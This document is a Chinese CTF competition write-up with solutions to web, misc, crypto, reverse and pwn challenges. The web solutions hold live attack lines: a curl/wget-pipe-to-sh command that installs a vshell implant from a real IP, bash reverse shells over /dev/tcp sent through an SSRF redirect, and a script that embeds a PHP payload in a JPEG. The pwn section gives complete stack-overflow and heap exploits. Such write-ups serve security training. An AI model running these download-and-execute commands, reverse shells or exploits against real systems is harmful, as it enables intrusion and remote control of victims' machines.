WEB
Simple_php
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
使用php -r执行php代码,利用bin2hex进行绕过
<?php
$a = ';ls /';
echo bin2hex($a);
//3b6c73202f
前面加俩字母,不然会报错没法执行
php -r $a=aa3b6c73202f;system(hex2bin($a));
反弹shell,没找到flag,但是在passwd里面发现了mysql用户
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
但是好像....没法进数据库,所以选择vshell上线,弱口令登录
(curl -fsSL -m180 110.41.17.183:8084/slt||wget -T180 -q 110.41.17.183:8084/slt)|sh
执行命令拿到flag
easycms
根据提示扫描目录,发现flag.php
访问发现提示127.0.0.1还是什么的,基本可以确定是ssrf,后面就开始寻找ssrf点,从github下载源码,搜索curl_setopt
,找到了Hepler.php中的一个方法,后面就是全局查找哪里调用了该方法,发现存在两处,测试另一处排除后就只剩下了api.php
https://forum.butian.net/share/1072
根据该连接得知了该cms的调用模式
继续查看二查看手册
https://www.xunruicms.com/doc/1061.html
了解该cms调用方法的具体流程,所以就是调用api中调用了该方法的那个方法
index.php?s=api&c=api&m=qrcode&text=a&thumb=http://110.41.17.183:251/location.php
GIF89a
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F110.41.17.183%2F250%200%3E%261%22");//bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F110.41.17.183%2F250%200%3E%261%22
?>
反弹shell,执行/readflag拿到flag
easycms_revenge
对图片多了一个检测,所以尝试把payload渲染进去
<?php
$miniPayload = '?><?php header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F110.41.17.183%2F250%200%3E%261%22");?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
随便搞一个jpg,越小越好,避免报错
php poc.php xxx.jpg
改后缀为php,放到vps上面做跳转,反弹shell,拿到flag
mossfern
参考 L3HCTF
的 intractable problem
,过滤都差不多
https://c1oudfl0w0.github.io/blog/2024/02/04/L3HCTF-2024/
根据链接得到逃逸到全局的代码
def factorization():
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
builtin = globals["_" + "_builtins_" + "_"]
print(globals)
factorization()
open被ban了没法读文件,后续思路是想着读当前运行程序的源码
用 f_code
获取当前执行的代码段,然后读取出来即可
def factorization():
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
b=a.f_back.f_back.f_code
builtin = globals["_" + "_builtins_" + "_"]
dir=builtin.dir
#print(dir(b))
str=builtin.str
for i in str(b.co_consts):
print(i, end=',')
factorization()
Misc
火锅链观光打卡
火狐下载MetaMask插件,连接钱包答题,兑换NFT显示flag
flag{y0u_ar3_hotpot_K1ng}
神秘文件
看文件属性发现密文、加密方式和密钥key,解密得到part1:flag{e
在embeddings的word文件看到casesar提示,将word改zip后缀,在document.xml可以看到密文,得 到part2 :675efb
将ppt中的vbaProject.bin文件丢到云沙箱,可以得到完整宏代码
Sub crypto(sMessage, strKey)
Dim kLen, x, y, i, j, temp
Dim s(256), k(256)
kLen = Len(strKey)
For i = 0 To 255
s(i) = i
k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
Next
j = 0
For i = 0 To 255
j = (j + k(i) + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next
x = 0
y = 0
For i = 1 To 3072
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp
Next
For i = 1 To Len(sMessage)
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp
crypto = crypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
Next
'i13POMdzEAzHfy4dGS+vUA==(After base64)
End Sub
搜索部分代码发现是RC4加密,用厨子得到part3 :3-34
在ppt可以直接看到手绘的字符串 UGFSdDQ6NmYtNDA= , base64得到part4 :6f-40
在第五页ppt底部有备注信息,多层base64解密得到part5 :5f-90d
在media里将字母图片拼接得到 UGFyVDY6ZC0y , base64解密part6 :d-2
在slides\slide4.xml文件能看到密文,并提示用ROT13,得到part7 :22b3
在slideLayout2.xml看到密文,并且尝试发现将字符中的 B 、 b 、 1 、 3 去掉再base64解密得到 part8 :87e
在media中发现其中一个jpg底下有密文 cGFyVDk6ZGVl , base64解密得到part9 :dee
在comments/comment1.xml看到维吉尼亚密文和密钥,解密得到part10 :9}
拼接10个部分得到完整flag:flag{e675efb3-346f-405f-90dd-222b387edee9}
Power Trajectory Diagram
npz主要有三个属性, trace、 input和index,npz主要有三个属性,trace、input和index,计算trace中每组的方差,方差越大说明功耗越大,也就是按下了按键,记录其索引与对应input的字符,exp如下
import numpy as np
data = np.load('attachment.npz')
_trace = data['trace']
_input = data['input']
_indexes = []
def variance(trace, group):
sum = 0
for tra in group:
if not np.array_equal(trace, tra):
sum += np.mean((trace - tra) ** 2)
return sum / len(group)
for i in range(0, len(_input), 40):
group = _trace[i: i + 40]
max_variance = 0
_traceIndex = i
for j, trace in enumerate(group):
current_variance = variance(trace, group)
if current_variance > max_variance:
max_variance = current_variance
_traceIndex = i + j
_indexes.append(_traceIndex)
for i, index in enumerate(_indexes):
if i != len(_indexes) - 1:
print(_input[index],end="")
flag{ciscn_2024}
通风机
将mwp文件用STEP 7打开显示文件无效,结合题目描述通风机坏掉了猜测数据被修改,在STEP 7中随意 新建个项目,保存查看十六进制,对比发现题目附件少了前三个字节,补齐后打开
在符号表的注释处发现flag
flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}
盗版软件(复现)
题目内容:在网上下了一个盗版软件就中毒了,他从内存中提取了文件和浏览器,请帮助分析;(flag为flag{md5(网站域名+c2地址)}
首先看到exe生成的图片上面有明显隐写痕迹,当时zsteg+stegsolve简单翻了下没看出什么东西就放着了,原来是red每个通道都要选(red0/1/2通道已经看不出痕迹了),发现504b0304的zip头特征,每个字节中间混了个其他字节,写脚本提取
from PIL import Image
image = Image.open(r'output.png')
allpixels = []
flag = 1
for y in range(image.width):
for x in range(image.width):
if flag == 1:
r_pix = image.getpixel((x, y))[0]
# print(hex(int(r_pix))[2:].zfill(2))
allpixels.append(hex(int(r_pix))[2:].zfill(2))
flag *= -1
with open("output.txt", 'w') as wf:
for i in allpixels:
wf.write(str(i))
#7b020000504b0304140000000800649b5358cec5d11b150200007f020000020000002e620d516d7b816018fd2d77d3ca9a62a827ad2257613cb3c24229497a6588ffbfceb7f3e19cebbcdce9fa57eda20fa83bc08be4759fbd316e11944de3f0ede67cfa5c634c479ae933fd73ed07e5f8d4099c4469f5a2b6fcbb56c5ab0cae32767c111a3f60c2d1970c86fbc621edac78717254c287905ab4176bab6961b117e08ac11e2aa4d3c72d1aa2064bf3f84038260eb8e12f58cbbc81c67cc4b4a0ee2bad8271a828bbcd3fd66ae6eaa440d73eda28bacf44dd2af997f535ac19b916059576be05ebc7d0b16337f48a0a1658f3f78c189dd4110fec28a8e8c3e4a1a1af7850e37651b88ba2ec0a60c81ed15f50944d252532fb77af2ddb96ba08461250e5dac69f82ea9c49b9bf053a2539e42a6f756609df25325ecd3efa7d6212cbfa79289ab7535c76a81351c8de4755afc69edc78cf19f0d95b04b51efbbcf6a2bd7314a3cc5894ada4e9f9c6dad390b4e1a63b4a8cf7a9e4cb4f8c4a55ab42c652ea45379267ec2fd7188e3a44b5d55142a1456fb22239b3d551a656644f4f4f7d899b0d293ea923c96159375c598c9a2eb6dc75f77e182289482975e00eb2ee7a303f02b17b6f55f68e70c9f299cd33abe69f5412afcd2a467785d15d3602e7a66e90b42573ac88e3295cf20d5976ea8712585578f040b65f818a71506d9a930aecfc46935986bdc8ec9e15f72f391ffad34e3e2bdb5a9697c87e4bc16447f6decb63db88e7132157eb1390137dd961675f93673c38b9ff504b01021400140000000...
提取出.b文件,将文件内容进行base85解码后丢入在线云沙箱可以看到C2地址(存疑:base85解码这步是如何得到的,用了厨子和自己写的base并不能自动检测出要base85,是靠IDA分析exe文件?)
之后将dmp文件丢到AXIOM分析,在url中明显看到恶意网站域名:winhack.com
Tough_DNS(复现)
题目内容:DNS的世界充满了多变的字符,接下来我将直接给你答案:56 16 26 93 66 53 16 56 d2 03 26 93 56
首先看到一串01
先用tshark命令提取
tshark -r Tough_DNS.pcapng -Y "ip.dst == 8.8.8.8" -e "dns.qry.name" -T fields > data.txt
删掉后面多余子域名后用uniq去重,之后再转二维码
得到15f9792dba5c
后面的TXT类型发现可以通过dns.id分为0x4500、0x6421两种类型,分别提取txt
tshark -r Tough_DNS.pcapng -Y "dns.id == 0x4500" -e "dns.txt" -T fields |tr -d "\n"> 4500.txt
tshark -r Tough_DNS.pcapng -Y "dns.id == 0x6421" -e "dns.txt" -T fields |tr -d "\n"> 6421.txt
4500转hex得到加密压缩包,使用扫描二维码得到的字符串可以提取出一个secret.gpg文件
将6421去掉头尾0字节后转hex,使用file命令识别出为PGP的加密内容
PGP RSA encrypted session key - keyid: 44764551 B5B1D8D5 RSA (Encrypt or Sign) 1024b .
在导入secret.gpg时需要解密私钥,此时就剩题目描述给出的字符没有用到,每个字节翻转得到私钥eab9f5ae-0b9e
gpg --import secret.gpg
gpg --decrypt download.dat
Crypto
古典密码
厨子一把梭
flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}
OvO
e两边乘p,解方程能出p的高位, task.sage的exp如下
from Crypto.Util.number import *
from gmpy2 import *
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
kk = e // n - 2
tmp = 65537 + (kk + 2) * n + (kk + 2) + 1
R.<x> = PolynomialRing(RealField(1024))
f = e * x - (2 * (kk + 1) * x ^ 2 + (kk + 2) * n + tmp * x)
re = f.roots()
for root in re:
p_high = int(root[0])
PR.<x> = PolynomialRing(Zmod(n), implementation='NTL')
f1 = p_high + x
x0 = f1.small_roots(X=2 ^ 200, beta=0.4)
if x0:
p = int(x0[0]) + p_high
q = n // p
e = 65537 + kk * p + (kk + 2) * ((p + 1) * (q + 1)) + 1
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
# b'flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}'
Reverse
asm_re
提取4字节一组的小端序密文,根据加密算法写exp
#include <bits/stdc++.h>
using namespace std;
unsigned char data[] = {0xD7, 0x1F, 0x00, 0x00, 0xB7, 0x21, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x27, 0x20, 0x00, 0x00, 0xE7, 0x26, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xF7, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x17, 0x1F, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x67, 0x1F, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x17, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x47, 0x0F, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x87, 0x27, 0x00, 0x00};
int main(void)
{
for(int i = 0; i < sizeof(data)/4; i++)
{
((unsigned int *)data)[i] = (((((unsigned int *)data)[i]-0x1e)^0x4d)-0x14)/0x50;
printf("%c", ((unsigned int *)data)[i]);
}
return 0;
}
// flag{67e9a228e45b622c2992fb5174a4f5f5}
whereThel1b
base64后单字节加密,加密函数使用random.seed()添加种子,然后调用whereistheflag1,该函数中先 对输入字符进行base64加密,然后去randint获得随机数,进行xor加密
choose_data = list(b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_+/=")
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
flag = b"flag{412edff5-0914-450a-9f5d-e0165ebb5cf6}"
flag_base = list(b"flag{") + list(b'0')*37
for i in range(36):
for j in choose_data:
flag_base[i+5] = j
import whereThel1b
# a = whereThel1b.whereistheflag(bytes(flag_base))
ret = whereThel1b.trytry(bytes(flag_base))
print("".join([chr(i) for i in flag_base]), ret)
# flag{=000000000000000000000000000000000000 [108, 117, 72, 80, 64, 49, 99, 25, 82, 93, 115, 66, 94, 90, 87, 82, 64, 100, 73, 101, 69, 116, 71, 80, 126, 84, 99, 90, 126, 98, 72, 100, 75, 106, 69, 65, 102, 81, 95, 84, 75, 82, 90, 99, 106, 108, 76, 84, 83, 88, 118, 86, 93, 71, 114, 84]
from base64 import b64encode
a = b"flag{=000000000000000000000000000000000000"
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
a1 = list(b64encode(a))
a2 = [108, 117, 72, 80, 64, 49, 99, 25, 82, 93, 115, 66, 94, 90, 87, 82, 64, 100, 73, 101, 69, 116, 71, 80, 126, 84, 99, 90, 126, 98, 72, 100, 75, 106, 69, 65, 102, 81, 95, 84, 75, 82, 90, 99, 106, 108, 76, 84, 83, 88, 118, 86, 93, 71, 114, 84]
for i in range(len(a1)):
print(chr(encry[i]^a2[i]^a1[i]),end="")
# ZmxhZ3s3ZjlhMmQzYy0wN2RlLTExZWYtYmU1ZS1jZjFlODg2NzRjMGJ9
# echo ZmxhZ3s3ZjlhMmQzYy0wN2RlLTExZWYtYmU1ZS1jZjFlODg2NzRjMGJ9 | base64 -d
# flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}
androidso_re
1.第一步使用jadx进行推测:
定位关键逻辑
去找钥匙和iv,发现在静态so文件里面
2.使用frida进行求解
function frida() {
Java.perform(function () {
var iv = Java.use("com.example.re11113.jni");
var res = iv.getiv();
console.log(res);
var key = Module.findExportByName("libSecret_entrance.so","Java_com_example_re11113_jni_getkey");
Interceptor.attach(key,{
onEnter:function (args){
},onLeave:function (retval){
}});
var key1 = jni.getkey();
console.log(key1);
});
}
直接拿到iv和key——Wf3DLups
、A8UdWaeq
使用厨子进行解密拿到flag
pwn
gostack
根据题目提示可知为栈溢出, 通过 cyclic 500
测试直接即可触发程序崩溃;
分析
// main.main.func3
...
char v31[72]; // [rsp+48h] [rbp-1D0h] BYREF
...
v36 = v31;
...
bufio__ptr_Scanner_Scan(v39, v7, v9, (_QWORD *)2, (unsigned int)v35, v10, v11, v12, v13);
v32 = (unsigned __int8 *)runtime_slicebytetostring(0LL, v40, v41, 2, (int)v35, v15, v16, v17, v18);
...
v23 = v36;
v24 = v32;
for ( i = 0LL; (__int64)v14 > i; ++i )
{
v19 = *v24;
*v23++ = v19;
++v24;
}
...
分析如上代码可知,程序将scanner获取的输入通过slicebytetostring函数转换为字符串,并通过一段循环写入字符数组v31,该处位于 rbp-1D0h
,存在栈溢出且程序未开启canary保护,存在利用可能。
由于在循环拷贝结束后,程序继续调用了convTstring函数和fmt_Fprintf函数进行输出,仍会引用栈上变量,直接使用 aa...aa
进行溢出会导致在fmt_Fprintf内部调用的fmt__ptr_pp_doPrintf函数崩溃,下图为执行到fmt_Fprintf前比较正常输入和溢出时的寄存器对比:猜测r11导致崩溃。
通过调试可知,r11的赋值存在于convTstring函数内部,该函数汇编如下:
.text:00000000004A0A31 mov rax, [rsp+208h+var_D0]
.text:00000000004A0A39 mov rbx, [rsp+208h+var_C8]
.text:00000000004A0A41 call runtime_convTstring
只需控制rax和rbx对应取值的栈帧为正常值即可,分别为字符串指针和长度。
通过调试计算出偏移为0x100:
main_func1 = 0x00000000004A05A0
payload = 'a'*0x100 + p64(0xc000118000) + p64(0x200)
payload = payload.ljust(0x1d0, 'a') + p64(main_func2)
通过如上payload即溢出劫持程序执行流跳转执行预留后门main_func2。
exp:
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux', log_level = 'debug')
binary = 'gostack'
debug = 0
if debug == 1:
sh = process('./' + binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('8.147.132.163', 20263)
# libc = ELF('./' + 'libc-2.23.so')
elf = ELF('./' + binary)
def d():
gdb.attach(sh, 'b *0x4A09EA')
pause()
# d()
bss = 0x00000000005641B0
pop_rax_ret = 0x000000000040f984
pop_rdi_3_rbp_rbx_ret = 0x00000000004a18a5
pop_rsi_ret = 0x000000000042138a
pop_rdx_ret = 0x00000000004944ec
syscall = 0x0000000000404043
backdoor = 0x00000000004A0120
check = 0x4A0520
_syscall_Syscall = 0x404020
main2 = 0x4A05A0
sh.recvuntil('Input your magic message :\n')
payload = '/bin/sh\x00'*0x20 + p64(0xc000118000) + p64(0x200)
payload = payload.ljust(0x1d0, 'a')
payload += p64(main2)
# payload += p64(_syscall_Syscall) + p64(0) + p64(59) + p64(binsh) + p64(0) + p64(0)
sh.sendline(payload)
sh.interactive()
orange cat diary
glibc 2.23
分析
程序功能如下:
- add:0~0x1000
- edit:可溢出0x8字节
- free & show:仅各一次机会(存在UAF)
利用
****通过溢出8字节修改top chunk的size小于0x1000,再次malloc后即可分配新的top chunk,旧的进入unsorted bin,此时分配chunk并show即可泄露出libc地址;然后通过edit修改free后的0x70大小的chunk的fd指针,劫持__malloc_hook为one gadget,完成利用。
exp:
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux', log_level = 'debug')
binary = 'orange_cat_diary'
debug = 0
if debug == 1:
sh = process('./' + binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('8.147.133.63', 22694)
libc = ELF('./' + 'libc-2.23.so')
elf = ELF('./' + binary)
def d():
gdb.attach(sh)
pause()
def menu(choice):
sh.sendlineafter("Please input your choice:", str(choice))
def add(size, content):
menu(1)
sh.sendlineafter("Please input the length of the diary content:", str(size))
sh.sendafter("Please enter the diary content:\n", content)
def show():
menu(2)
def delete():
menu(3)
def edit(size, content):
menu(4)
sh.sendlineafter("Please input the length of the diary content:", str(size))
sh.sendafter("Please enter the diary content:\n", content)
sh.recvuntil("Hello, I'm delighted to meet you. Please tell me your name.\n")
payload = 'a'*0x4
sh.sendline(payload)
add(0x28, 'a')
payload = 'a'*0x28 + p64(0xfd1)
edit(0x30, payload)
add(0x1000, 'a')
add(0x20, 'b'*8)
show()
libc.address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3c5188
print('libc.address: ' + hex(libc.address))
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
onegadget = libc.address + one[2]
__malloc_hook = libc.sym['__malloc_hook']
add(0x68, 'a')
delete()
edit(0x8, p64(__malloc_hook-0x23))
add(0x68, 'a')
payload = 'a'*0x13 + p64(onegadget)
add(0x68, payload)
menu(1)
sh.sendlineafter('the length of the diary content:', '1')
sh.interactive()